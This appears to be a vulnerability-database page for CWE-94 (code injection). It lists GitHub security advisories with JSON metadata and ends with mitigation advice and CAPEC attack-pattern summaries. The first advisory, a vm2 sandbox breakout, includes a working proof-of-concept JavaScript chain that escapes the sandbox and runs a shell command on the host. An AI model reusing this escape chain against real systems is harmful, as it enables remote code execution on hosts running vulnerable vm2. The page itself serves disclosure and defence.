CWE-94
Allowed-with-ReviewImproper Control of Generation of Code ('Code Injection')
Abstraction: Base · Status: Draft
The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.
8268 vulnerabilities reference this CWE, most recent first.
GHSA-GRJ5-JJM8-H35P
Vulnerability from github – Published: 2026-05-04 16:29 – Updated: 2026-05-08 01:25Summary
VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.
Details
The __lookupGetter__ method allows to read the getter of an object. It is special in VM2 since it will switch between the host and sandbox version of the method when passed to the other context.
This allows to access getters on an object in the host context if the method is called from the host context which can be achieved by using the host apply method which can be accessed through Buffer.apply.
Afterwards, this function can be used to call the host version of __lookupGetter__ with Buffer and __proto__ resulting in the prototype lookup method from the host context.
With this method the hosts Function.prototype object can be retrieved and the host Function acquired through the constructor property which allows to create and run code in the host context.
This issue was attempted to be fixed with https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/bridge.js#L427. However, this can be circumvented by using Object.getOwnPropertyDescriptor to get the constructor property.
PoC
The following code demonstrates this issue by acquiring the host process object and executing touch pwned.
const {VM} = require("vm2");
const vm = new VM();
vm.run(`
const g = ({}).__lookupGetter__;
const a = Buffer.apply;
const p = a.apply(g, [Buffer, ['__proto__']]);
Object.getOwnPropertyDescriptor(p.call(a),'constructor').value('return process')().mainModule.require('child_process').execSync('touch pwned');
`);
Impact
Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.4"
},
"package": {
"ecosystem": "npm",
"name": "vm2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.11.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-24118"
],
"database_specific": {
"cwe_ids": [
"CWE-693",
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T16:29:15Z",
"nvd_published_at": "2026-05-04T17:16:21Z",
"severity": "CRITICAL"
},
"details": "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nThe `__lookupGetter__` method allows to read the getter of an object. It is special in VM2 since it will switch between the host and sandbox version of the method when passed to the other context.\nThis allows to access getters on an object in the host context if the method is called from the host context which can be achieved by using the host `apply` method which can be accessed through `Buffer.apply`.\nAfterwards, this function can be used to call the host version of `__lookupGetter__` with `Buffer` and `__proto__` resulting in the prototype lookup method from the host context.\nWith this method the hosts `Function.prototype` object can be retrieved and the host `Function` acquired through the `constructor` property which allows to create and run code in the host context.\nThis issue was attempted to be fixed with https://github.com/patriksimek/vm2/blob/4b009c2d4b1131c01810c1205e641d614c322a29/lib/bridge.js#L427. However, this can be circumvented by using `Object.getOwnPropertyDescriptor` to get the `constructor` property.\n\n### PoC\n\nThe following code demonstrates this issue by acquiring the host process object and executing `touch pwned`.\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nvm.run(`\nconst g = ({}).__lookupGetter__;\nconst a = Buffer.apply;\nconst p = a.apply(g, [Buffer, [\u0027__proto__\u0027]]);\nObject.getOwnPropertyDescriptor(p.call(a),\u0027constructor\u0027).value(\u0027return process\u0027)().mainModule.require(\u0027child_process\u0027).execSync(\u0027touch pwned\u0027);\n`);\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.",
"id": "GHSA-grj5-jjm8-h35p",
"modified": "2026-05-08T01:25:03Z",
"published": "2026-05-04T16:29:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/security/advisories/GHSA-grj5-jjm8-h35p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24118"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/2b5f3e3a060d9088f5e1cdd585d683d491f990a3"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/commit/f9b700b1c7d9ef2df416666cb24e0b659140cc74"
},
{
"type": "PACKAGE",
"url": "https://github.com/patriksimek/vm2"
},
{
"type": "WEB",
"url": "https://github.com/patriksimek/vm2/releases/tag/v3.11.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "VM2 Sandbox Breakout Through __lookupGetter__"
}
GHSA-GRPQ-V752-9MJQ
Vulnerability from github – Published: 2022-05-01 17:51 – Updated: 2025-04-09 03:38Eval injection vulnerability in the (a) kmz_ImportWithMesh.py Script for Blender 0.1.9h, as used in (b) Blender before 2.43, allows user-assisted remote attackers to execute arbitrary Python code by importing a crafted (1) KML or (2) KMZ file.
{
"affected": [],
"aliases": [
"CVE-2007-1253"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2007-03-03T20:19:00Z",
"severity": "HIGH"
},
"details": "Eval injection vulnerability in the (a) kmz_ImportWithMesh.py Script for Blender 0.1.9h, as used in (b) Blender before 2.43, allows user-assisted remote attackers to execute arbitrary Python code by importing a crafted (1) KML or (2) KMZ file.",
"id": "GHSA-grpq-v752-9mjq",
"modified": "2025-04-09T03:38:23Z",
"published": "2022-05-01T17:51:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2007-1253"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/32778"
},
{
"type": "WEB",
"url": "http://osvdb.org/33836"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/24232"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/24233"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/24991"
},
{
"type": "WEB",
"url": "http://secunia.com/secunia_research/2007-39/advisory"
},
{
"type": "WEB",
"url": "http://secunia.com/secunia_research/2007-40/advisory"
},
{
"type": "WEB",
"url": "http://security.gentoo.org/glsa/glsa-200704-19.xml"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/22770"
},
{
"type": "WEB",
"url": "http://www.securitytracker.com/id?1017714"
},
{
"type": "WEB",
"url": "http://www.vupen.com/english/advisories/2007/0798"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-GRRH-62PC-382R
Vulnerability from github – Published: 2022-05-17 03:15 – Updated: 2022-05-17 03:15KMail since version 5.3.0 used a QWebEngine based viewer that had JavaScript enabled. HTML Mail contents were not sanitized for JavaScript and included code was executed.
{
"affected": [],
"aliases": [
"CVE-2016-7968"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2016-12-23T22:59:00Z",
"severity": "HIGH"
},
"details": "KMail since version 5.3.0 used a QWebEngine based viewer that had JavaScript enabled. HTML Mail contents were not sanitized for JavaScript and included code was executed.",
"id": "GHSA-grrh-62pc-382r",
"modified": "2022-05-17T03:15:15Z",
"published": "2022-05-17T03:15:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7968"
},
{
"type": "WEB",
"url": "https://www.kde.org/info/security/advisory-20161006-3.txt"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2016/10/05/1"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/93360"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-GRRP-FWG3-4585
Vulnerability from github – Published: 2022-05-17 05:24 – Updated: 2024-07-03 18:31** DISPUTED ** Race condition in Avira Premium Security Suite 10.0.0.536 on Windows XP allows local users to bypass kernel-mode hook handlers, and execute dangerous code that would otherwise be blocked by a handler but not blocked by signature-based malware detection, via certain user-space memory changes during hook-handler execution, aka an argument-switch attack or a KHOBE attack. NOTE: this issue is disputed by some third parties because it is a flaw in a protection mechanism for situations where a crafted program has already begun to execute.
{
"affected": [],
"aliases": [
"CVE-2010-5153"
],
"database_specific": {
"cwe_ids": [
"CWE-362",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2012-08-25T21:55:00Z",
"severity": "MODERATE"
},
"details": "** DISPUTED ** Race condition in Avira Premium Security Suite 10.0.0.536 on Windows XP allows local users to bypass kernel-mode hook handlers, and execute dangerous code that would otherwise be blocked by a handler but not blocked by signature-based malware detection, via certain user-space memory changes during hook-handler execution, aka an argument-switch attack or a KHOBE attack. NOTE: this issue is disputed by some third parties because it is a flaw in a protection mechanism for situations where a crafted program has already begun to execute.",
"id": "GHSA-grrp-fwg3-4585",
"modified": "2024-07-03T18:31:15Z",
"published": "2022-05-17T05:24:16Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2010-5153"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/bugtraq/2010-05/0026.html"
},
{
"type": "WEB",
"url": "http://archives.neohapsis.com/archives/fulldisclosure/2010-05/0066.html"
},
{
"type": "WEB",
"url": "http://countermeasures.trendmicro.eu/you-just-cant-trust-a-drunk"
},
{
"type": "WEB",
"url": "http://matousec.com/info/advisories/khobe-8.0-earthquake-for-windows-desktop-security-software.php"
},
{
"type": "WEB",
"url": "http://matousec.com/info/articles/khobe-8.0-earthquake-for-windows-desktop-security-software.php"
},
{
"type": "WEB",
"url": "http://www.f-secure.com/weblog/archives/00001949.html"
},
{
"type": "WEB",
"url": "http://www.osvdb.org/67660"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/39924"
},
{
"type": "WEB",
"url": "http://www.theregister.co.uk/2010/05/07/argument_switch_av_bypass"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GRVF-XRW5-JXHC
Vulnerability from github – Published: 2026-01-21 18:30 – Updated: 2026-01-21 18:30OpenPLC v3 contains an authenticated remote code execution vulnerability that allows attackers with valid credentials to inject malicious code through the hardware configuration interface. Attackers can upload a custom hardware layer with embedded reverse shell code that establishes a network connection to a specified IP and port, enabling remote command execution.
{
"affected": [],
"aliases": [
"CVE-2021-47770"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-01-21T18:16:09Z",
"severity": "HIGH"
},
"details": "OpenPLC v3 contains an authenticated remote code execution vulnerability that allows attackers with valid credentials to inject malicious code through the hardware configuration interface. Attackers can upload a custom hardware layer with embedded reverse shell code that establishes a network connection to a specified IP and port, enabling remote command execution.",
"id": "GHSA-grvf-xrw5-jxhc",
"modified": "2026-01-21T18:30:30Z",
"published": "2026-01-21T18:30:30Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47770"
},
{
"type": "WEB",
"url": "https://github.com/thiagoralves/OpenPLC_v3"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/49803"
},
{
"type": "WEB",
"url": "https://www.openplcproject.com"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/openplc-remote-code-execution"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GRVQ-VJQR-X8VM
Vulnerability from github – Published: 2023-07-28 15:30 – Updated: 2023-08-03 19:38webmagic-extension v0.9.0 and below was discovered to contain a code injection vulnerability via the component us.codecraft.webmagic.downloader.PhantomJSDownloader.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "us.codecraft:webmagic-core"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.9.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2023-39015"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2023-07-28T20:54:55Z",
"nvd_published_at": "2023-07-28T15:15:12Z",
"severity": "CRITICAL"
},
"details": "webmagic-extension v0.9.0 and below was discovered to contain a code injection vulnerability via the component us.codecraft.webmagic.downloader.PhantomJSDownloader.",
"id": "GHSA-grvq-vjqr-x8vm",
"modified": "2023-08-03T19:38:43Z",
"published": "2023-07-28T15:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39015"
},
{
"type": "WEB",
"url": "https://github.com/code4craft/webmagic/issues/1122"
},
{
"type": "PACKAGE",
"url": "https://github.com/code4craft/webmagic"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Code injection in webmagic-core"
}
GHSA-GRWC-QR6V-MGMV
Vulnerability from github – Published: 2024-06-10 15:31 – Updated: 2024-08-01 15:31nukeviet v.4.5 and before and nukeviet-egov v.1.2.02 and before are vulnerable to arbitrary code execution via the /admin/extensions/upload.php component.
{
"affected": [],
"aliases": [
"CVE-2024-36531"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-10T15:15:52Z",
"severity": "MODERATE"
},
"details": "nukeviet v.4.5 and before and nukeviet-egov v.1.2.02 and before are vulnerable to arbitrary code execution via the /admin/extensions/upload.php component.",
"id": "GHSA-grwc-qr6v-mgmv",
"modified": "2024-08-01T15:31:47Z",
"published": "2024-06-10T15:31:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36531"
},
{
"type": "WEB",
"url": "https://mat4mee.notion.site/Module-upload-in-nukeViet-leads-to-RCE-01ff3ff4c80d402d8c7c8a2b15a24c33"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:L/A:L",
"type": "CVSS_V3"
}
]
}
GHSA-GRXJ-G635-2WCV
Vulnerability from github – Published: 2023-02-27 21:30 – Updated: 2023-03-09 00:30The issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.2, tvOS 16.3, Safari 16.3, watchOS 9.3, iOS 16.3 and iPadOS 16.3. Processing maliciously crafted web content may lead to arbitrary code execution.
{
"affected": [],
"aliases": [
"CVE-2023-23496"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-02-27T20:15:00Z",
"severity": "HIGH"
},
"details": "The issue was addressed with improved checks. This issue is fixed in macOS Ventura 13.2, tvOS 16.3, Safari 16.3, watchOS 9.3, iOS 16.3 and iPadOS 16.3. Processing maliciously crafted web content may lead to arbitrary code execution.",
"id": "GHSA-grxj-g635-2wcv",
"modified": "2023-03-09T00:30:18Z",
"published": "2023-02-27T21:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-23496"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213531"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213599"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213600"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213601"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213605"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213606"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT213638"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-GV3J-FJGF-469V
Vulnerability from github – Published: 2026-05-16 18:31 – Updated: 2026-06-27 06:30python jsonpickle 2.0.0 contains a remote code execution vulnerability that allows attackers to execute arbitrary Python commands by deserializing malicious JSON payloads containing py/repr objects. Attackers can craft JSON strings with py/repr directives that invoke the eval function during deserialization to execute system commands and arbitrary code.
{
"affected": [],
"aliases": [
"CVE-2021-47952"
],
"database_specific": {
"cwe_ids": [
"CWE-502",
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-16T16:16:21Z",
"severity": "CRITICAL"
},
"details": "python jsonpickle 2.0.0 contains a remote code execution vulnerability that allows attackers to execute arbitrary Python commands by deserializing malicious JSON payloads containing py/repr objects. Attackers can craft JSON strings with py/repr directives that invoke the eval function during deserialization to execute system commands and arbitrary code.",
"id": "GHSA-gv3j-fjgf-469v",
"modified": "2026-06-27T06:30:24Z",
"published": "2026-05-16T18:31:38Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47952"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2021-47952"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2478170"
},
{
"type": "WEB",
"url": "https://github.com/jsonpickle/jsonpickle"
},
{
"type": "WEB",
"url": "https://jsonpickle.github.io"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2021/cve-2021-47952.json"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/49585"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/python-jsonpickle-remote-code-execution-via-py-repr"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-GV4G-R4WW-FM48
Vulnerability from github – Published: 2022-05-17 00:32 – Updated: 2022-05-17 00:32PHP remote file inclusion vulnerability in visualizza.php in Way Of The Warrior (WOTW) 5.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the plancia parameter to crea.php.
{
"affected": [],
"aliases": [
"CVE-2008-6223"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2009-02-20T23:30:00Z",
"severity": "HIGH"
},
"details": "PHP remote file inclusion vulnerability in visualizza.php in Way Of The Warrior (WOTW) 5.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the plancia parameter to crea.php.",
"id": "GHSA-gv4g-r4ww-fm48",
"modified": "2022-05-17T00:32:59Z",
"published": "2022-05-17T00:32:59Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2008-6223"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/46341"
},
{
"type": "WEB",
"url": "https://www.exploit-db.com/exploits/6992"
},
{
"type": "WEB",
"url": "http://secunia.com/advisories/32515"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/32115"
}
],
"schema_version": "1.4.0",
"severity": []
}
Mitigation
Strategy: Refactoring
Refactor your program so that you do not have to dynamically generate code.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation MIT-5
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Mitigation
Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Mitigation MIT-32
Strategy: Compilation or Build Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation MIT-32
Strategy: Environment Hardening
Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Mitigation
For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].
CAPEC-242: Code Injection
An adversary exploits a weakness in input validation on the target to inject new code into that which is currently executing. This differs from code inclusion in that code inclusion involves the addition or replacement of a reference to a code file, which is subsequently loaded by the target and used as part of the code of some application.
CAPEC-35: Leverage Executable Code in Non-Executable Files
An attack of this type exploits a system's trust in configuration and resource files. When the executable loads the resource (such as an image file or configuration file) the attacker has modified the file to either execute malicious code directly or manipulate the target process (e.g. application server) to execute based on the malicious configuration parameters. Since systems are increasingly interrelated mashing up resources from local and remote sources the possibility of this attack occurring is high.
CAPEC-77: Manipulating User-Controlled Variables
This attack targets user controlled variables (DEBUG=1, PHP Globals, and So Forth). An adversary can override variables leveraging user-supplied, untrusted query variables directly used on the application server without any data sanitization. In extreme cases, the adversary can change variables controlling the business logic of the application. For instance, in languages like PHP, a number of poorly set default configurations may allow the user to override variables.